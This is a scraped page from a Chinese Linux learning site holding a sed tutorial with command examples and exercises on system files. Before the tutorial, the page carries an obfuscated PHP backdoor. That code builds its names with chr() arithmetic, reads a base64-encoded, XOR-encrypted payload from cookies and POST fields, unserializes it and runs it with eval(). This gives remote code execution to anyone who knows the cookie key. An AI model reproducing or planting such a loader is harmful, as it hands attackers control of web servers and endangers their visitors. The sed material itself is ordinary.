$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux学习总结及练习&day08-sed文本处理工具 | Linux运维部落

Linux学习总结及练习&day08-sed文本处理工具

第一部分、Linux文本处理三剑客之sed(Stream EDitor)文本编辑工具

    一、sed的基本功能工作原理

    sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。sed默认只要被模式匹配到不管有没有编辑(edit)都会有标准输出(stdout),因此我们常用-n选项搭配使用。 Sed主要用来自动编辑一个或多个文件,简化对文件的反复操作,编写转换程序等。

    

1.png

 二、sed命令的常用选项

    sed [OPTION]… 'scripts' [input-file]…

        scripts:地址定界编辑命令

    常用选项:

        -n:不输出模式空间中的内容至屏幕

        -e:支持多条命令执行,意味多点编辑

        -f /PATH/TO/SCRIPT_FILE: 从指定文件中读取编辑脚本(每行一个编辑命令)
        -r: 支持使用扩展正则表达式
        -i: 直接编辑原文件(不建议使用,一旦修改,删了就找不回来了,通常使用-i.bak来备份)

三、sed命令的地址定界

        (1) 不给地址:(空地址)对全文进行处理

        (2) 单地址:
                #: 指定的行
                /pattern/:被此处模式所能够匹配到的每一行
  

        (3) 地址范围:
                #,#               从第#行到第#行中间的行
                #,+#              从第#行到第#+#行中间的行
                /pat1/,/pat2/     从模式part1匹配到的行开始到被模式part2匹配到行的中间行

                #,/pat1/          从第#行开始到被模式part1匹配到中间的行

        (4) ~:步进
                1~2 奇数行
                2~2 偶数行

四、sed常用的编辑命令

       d命令: 删除模式空间匹配的行

            举例子:

                1、sed  '1,5d' /etc/fstab   删除/etc/fstab文件的第1行到第5行

                2、sed  '3d' /etc/fstab     删除/etc/fstab文件的第3行

                3、sed  '/^#/d' /etc/fstab  删除/etc/fstab文件#开头的行

                4、sed  '1~2d' /etc/fstab   删除/etc/fstab文件的中的奇数行显示偶数行

        p命令: 显示模式空间中的内容(显示模式匹配到的行)

            举例子:

                1、sed  '1~2p’ /etc/fstab  会显示两次奇数行(默认匹配到会有一次输出)

                2、sed  -n '1~2p’ /etc/fstab 禁止默认的输出,仅显示一次奇数行

        a命令:a \text:在行后面追加文本;支持使用\n实现多行追加

        i命令:i \text:在行前面插入文本;支持使用\n实现多行插入

            举例子:

                1、sed  '3i \new line’ /etc/fstab  在/etc/fstab文件的第三行前面插入new line字段(其                                                     它默认输出)

                2、sed  '3a \new line’ /etc/fstab  在/etc/fstab文件的第三行后面追加new line字段(其                                                     它默认输出)

            支持文本多行显示:

                3、sed  '3a \new line\n another new line’ /etc/fstab  

                在/etc/fstab文件的第三行后面追加new line和another new line字段的两行

                4、sed  '/^UUID/a \#add new device base on UUID’ /etc/fstab

                在/etc/fstab文件的以UUID开头的行后面添加#…..后面的备注信息

        c命令:c \text:把匹配到的行替换成此处指定的文本“text”整行替换

            举例子:

                1、sed  '/^UUID/c \#add new device base on UUID’ /etc/fstab

                在/etc/fstab文件的以UUID开头的行均被替换为#…..上面的字符

        w:w /path/to/somefile: 保存模式空间匹配的行至指定文件

            举例子:

                第一步: sed -n '/^[^#]/p ' /etc/fstab

                 将以非#号开头的行显示出来

                第二步: sed  '/^[^#]/w /tmp/fstab.new' /etc/fstab

                 将非#开头的行写到文件/tmp/fstab.new文件中

        

        r:r /path/from/somefile:读取指定文件的文本至模式空间中匹配到的行后

            举例子:

                1、sed '3r /etc/issue' /etc/fstab

                 在/etc/fstab的第三行后面加入/etc/issue中文件的内容

            

       =命令: =为模式空间中的行打印行号

            举例子:

                1、sed '/^UUID/=' /etc/fstab

                 在/etc/fstab文件中以UUID开头的行,另外换行加入行号

        !命令: 模式空间中匹配行取反处理

            举例子:

                1、sed '/^#/!d' /etc/fstab   删除不以#开头的行

        s命令: s/// 查找替换,其分隔符可自行指定s@@@或s$$$等

            替换标记:       

                g: 行内全局替换
                p: 显示替换成功的行
                w /PATH/TO/SOMEFILE:将替换成功的行保存至文件中

五、sed命令使用示例

  • sed ‘2p’ /etc/passwd                    显示/etc/passwd文件第二行两次                         

  • sed –n ‘2p’ /etc/passwd                显示/etc/passwd文件第二行

  • sed –n ‘1,4p’ /etc/passwd              显示/etc/passwd文件第1到4行

  • sed –n ‘/root/p’ /etc/passwd           显示/etc/passwd文件匹配到root字符的行

  • sed –n ‘2,/root/p’ /etc/passwd         显示该文件从2行开始到匹配到含有root字符的行中间的行

  • sed -n ‘/^$/=’ file                     显示该文件空行行号

  • sed –n –e ‘/^$/p’ –e ‘/^$/=’ file  显示该文件空行并且打印其空行的行号

  • sed ‘/root/a\superman’ /etc/passwd      在该文件匹配到root字符行的行后(换行)加上superman字段

  • sed ‘/root/i\superman’ /etc/passwd      在该文件匹配到root字符行的行前(换行)插入superman字段

  • sed ‘/root/c\superman’ /etc/passwd      把该文件匹配到root字符行(整行)替换成superman字段的行

  • sed ‘/^$/d’ file                        删除该文件中的空白行

  • sed ‘1,10d’ file                        删除该文件中的第1到10行

  • nl /etc/passwd | sed ‘2,5d’             删除/etc/passwd文件中的第2到5行

  • nl /etc/passwd | sed ‘2a\tea’           在/etc/passwd文件的第2行后(换行)追加tea字段的行

  • sed 's/test/mytest/g' example             全局将test字符串替换为mytest字符串

  • sed –n‘s/root/&superman/p’ /etc/passwd 匹配到该文件含有root的行,并在root后面添加superman

  • sed –n‘s/root/superman&/p’ /etc/passwd 匹配到该文件含有root的行,并在root前面添加superman

  • sed -e ‘s/dog/cat/’ -e ‘s/hi/lo/’pets 匹配该文件含有dog和hi的行,并将其字符替换为cat和lo

  • sed –i.bak ‘s/dog/cat/g’ pets          全局将含有dog的行中的dog字符串替换为cat,且在原文上修                                             改,并且生成pets.bak的备份文件(未修改的原文件)

六、sed命令相关练习

  

    #1、删除/etc/grub2.conf文件中所有以空白开头的行行首的空白字符
    
        sed -r 's@^[[:space:]]+@@' /etc/grub2.cfg
        
[root@localhost ~]# sed -r 's@^[[:space:]]+@@' /etc/grub2.cfg
#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by grub2-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub
#

### BEGIN /etc/grub.d/00_header ###
set pager=1

if [ -s $prefix/grubenv ]; then
load_env
fi
if [ "${next_entry}" ] ; then
set default="${next_entry}"
set next_entry=
save_env next_entry
set boot_once=true
else
set default="${saved_entry}"
fi

if [ x"${feature_menuentry_id}" = xy ]; then
menuentry_id_option="--id"
else
menuentry_id_option=""
fi

export menuentry_id_option        

    #2、删除/etc/fstab文件中所有以#开头,后面至少跟一个空白字符的行的行首的#和空白字符
        
        sed 's@^#[[:space:]]\+@@' /etc/fstab

[root@localhost ~]# sed 's@^#[[:space:]]\+@@' /etc/fstab

#
/etc/fstab
Created by anaconda on Sun Jul 24 11:42:46 2016
#
Accessible filesystems, by reference, are maintained under '/dev/disk'
See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=bd6898a4-e81d-484f-a98c-bf0db692a30b /                       xfs     defaults        0 0
UUID=cfa0ba95-faf2-41ed-a849-70c59f56e00a /boot                   xfs     defaults        0 0
UUID=b1c4ae19-2384-4e09-bea7-2f1cffaa3dcb /testdir                xfs     defaults        0 0
UUID=4c2a179a-61d4-4a7f-91f0-15979fc699f2 swap                    swap    defaults        0 0


    #3、在/root/install.log每一行行首增加#号
    
        sed -r 's@(.*)@#\1@g' /root/install.log
        
        或者sed  's@^@#@' /root/install.log
        
[root@centos6 testdir]# sed -r 's@(.*)@#\1@g' /root/install.log
#Installing ql2100-firmware-1.19.38-3.1.el6.noarch
#Installing ivtv-firmware-20080701-20.2.noarch
#Installing libertas-usb8388-firmware-5.110.22.p23-3.1.el6.noarch
#Installing xorg-x11-drv-ati-firmware-7.6.1-2.el6.noarch
#Installing ql2500-firmware-7.03.00-1.el6_5.noarch
#Installing atmel-firmware-1.3-7.el6.noarch
#Installing zd1211-firmware-1.4-4.el6.noarch
#Installing iwl4965-firmware-228.61.2.24-2.1.el6.noarch
#Installing rt61pci-firmware-1.2-7.el6.noarch
#Installing iwl3945-firmware-15.32.2.9-4.el6.noarch
#Installing ql2200-firmware-2.02.08-3.1.el6.noarch
#Installing rt73usb-firmware-1.8-7.el6.noarch
#Installing ipw2100-firmware-1.3-11.el6.noarch
#Installing ql23xx-firmware-3.03.27-3.1.el6.noarch
#Installing ipw2200-firmware-3.1-4.el6.noarch
#Installing rootfiles-8.1-6.1.el6.noarch
#Installing man-pages-3.22-20.el6.noarch
#Installing words-3.0-17.el6.noarch
#*** FINISHED INSTALLING PACKAGES ***[root@centos6 testdir]# 
        
    #4、在/etc/fstab文件中不以#开头的行的行首增加#号
            
            sed 's@^[^#].*@#&@' /etc/fstab
            
[root@centos6 testdir]# sed 's@^[^#]@#&@' /etc/fstab

#
# /etc/fstab
# Created by anaconda on Mon Jul 25 01:30:22 2016
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
#UUID=eb1a1164-fb03-45f1-8b2d-9d046d3e228b /                       ext4    defaults        1 1
#UUID=439d1457-04f7-4069-b3ac-04e77c29543c /boot                   ext4    defaults        1 2
#UUID=b7bff15d-cd5e-4be3-ace6-22c688569b26 /testdir                ext4    defaults        1 2
#UUID=3a2ca217-2ea4-48f2-8294-55495b01c3a9 swap                    swap    defaults        0 0
#tmpfs                   /dev/shm                tmpfs   defaults        0 0
#devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
#sysfs                   /sys                    sysfs   defaults        0 0
#proc                    /proc                   proc    defaults        0 0


    #5、处理/etc/fstab路径,使用sed命令取出其目录名和基名
          
        echo /etc/sysconfig/ |sed -r  's#[^/]+/?$##'           目录名
        
        echo "/etc/fst/sd" | sed   -r 's@(.*/)([^/]+/?)$@\1@'  目录名

        echo "/etc/fstab/" | sed 's@^.*\<@@'                   基名
        
[root@centos6 ~]# echo /etc/sysconfig/ |sed -r  's#[^/]+/?$##'
/etc/
[root@centos6 ~]# echo "/etc/fst/sd" | sed   -r 's@(.*/)([^/]+/?)$@\1@'
/etc/fst/
[root@centos6 ~]# echo "/etc/fstab/" | sed 's@[^/]\+/\?$@@'
/etc/
[root@centos6 ~]# echo "/etc/fstab/" | sed 's@^.*\<@@'
fstab/

    #6、利用sed 取出ifconfig命令中本机的IPv4地址
    
        ifconfig|sed -n 2p |sed -r  's/.*addr:(.*)  Bca.*/\1/'
        
        或者ifconfig|sed -n 2p |sed -e  's/.*addr://' -e 's/ B.*//'
        
        或者ifconfig|sed -n 2p |sed -r  's/.*addr:(.*)  Bca.*/\1/'
        
[root@centos6 ~]# ifconfig|sed -n 2p |sed -r  's/.*addr:(.*)  Bca.*/\1/'
172.18.18.203
[root@centos6 ~]# ifconfig|sed -n 2p |sed -e  's/.*addr://' -e 's/ B.*//'
172.18.18.203 
[root@centos6 ~]# ifconfig|sed -n 2p |sed -r  's/.*addr:(.*)  Bca.*/\1/'
172.18.18.203

    #7、统计centos安装光盘中Package目录下的所有rpm文件的以.分隔倒数第二个字段的重复次数
    
[root@centos6 ~]# ls  /media/CentOS_6.8_Final/Packages |grep -v '.*.rpm'
TRANS.TBL
        
        由于该文件夹下面的文件有以TRANS.TBL结尾的文件,因此需要滤除
        
        ls  /media/CentOS_6.8_Final/Packages |grep -o '.*.rpm' |sed -r 's#.*\.(.*)\.rpm$#\1#'|sort  |uniq -c
        
[root@centos6 ~]# ls  /media/CentOS_6.8_Final/Packages |grep -o '.*.rpm' |sed -r 's#.*\.(.*)\.rpm$#\1#'|sort  |uniq -c
      4 i686
    919 noarch
   2283 x86_64
   
    或者ls  /media/CentOS_6.8_Final/Packages |grep -o '.*.rpm' |rev |cut -d. -f2 |rev|sort |uniq -c
    
[root@centos6 ~]# ls  /media/CentOS_6.8_Final/Packages |grep -o '.*.rpm' |rev |cut -d. -f2 |rev|sort |uniq -c
      4 i686
    919 noarch
   2283 x86_64

原创文章,作者:AndyIvanXue,如若转载,请注明出处:http://www.178linux.com/32099

(0)
上一篇 2016-08-10 10:15
下一篇 2016-08-10 10:15

相关推荐

  • rpm包管理

    linux程序包管理 RPM ================================================================== #ldd 查看二进制程序调用的动态链接库 #ldconfig  -p  显示本机已缓存的所有可用库文件     dll: Dynamic…

    Linux干货 2016-08-18
  • Mariadb数据库复制系列(四):复制过滤器的实现

       实验四:复制过滤器的实现 复制过滤器的作用是让从节点仅复制主节点的指定的库,或指定数据库的指定表,而不是全部复制。其配置方式有两种,一种是在主节点上配置,通过定义主节点只记录部分库或表产生的二进制日志时间来实现;一种是通过从节点上配置,当复制了主节点的所有的二进制日志数据后,在SQL线程执行时,只执行指定的库或表相关的二进制日志时间;一般采取在从节点上…

    Linux干货 2016-11-24
  • N25-第二周作业

    N25-第二周作业 博客作业 1、linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示 linux上处理目录的常用命令: ls :列出目录 cd :切换目录 pwd:显示当前工作路径 mkdir:创建目录 rm:删除文件或目录 rmdir:删除空文件 mv:剪切、重命名文件、目录 cp:复制文件或目录 touch:创建空文件 ls:= li…

    Linux干货 2017-02-08
  • N25第二周作业

    一、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。     (1).cat:cat命令可以用来合并文件,也可以用来在屏幕上显示整个文件的内容。     2.语法:cat [选项] [文件]…     3.选项: &nbsp…

    Linux干货 2016-12-26
  • ThridWeek_FirstDay

    python学习笔记整理

    Linux干货 2017-10-09
  • Linux进程查看及管理(2)

    Linux进程查看及管理(2) CentOS5和6的启动流程: Liunx中的启动:kernel和rootfs(根文件系统) kernel:进程管理,内存管理,网络管理功能,驱动程序,文件系统,安全功能(权限模型), rootfs:glibc(lib,lib64) 库:函数集合,function(功能模块)有其调用接口(头文件是对函数功能或调用参数的功能进行…

    Linux干货 2016-08-08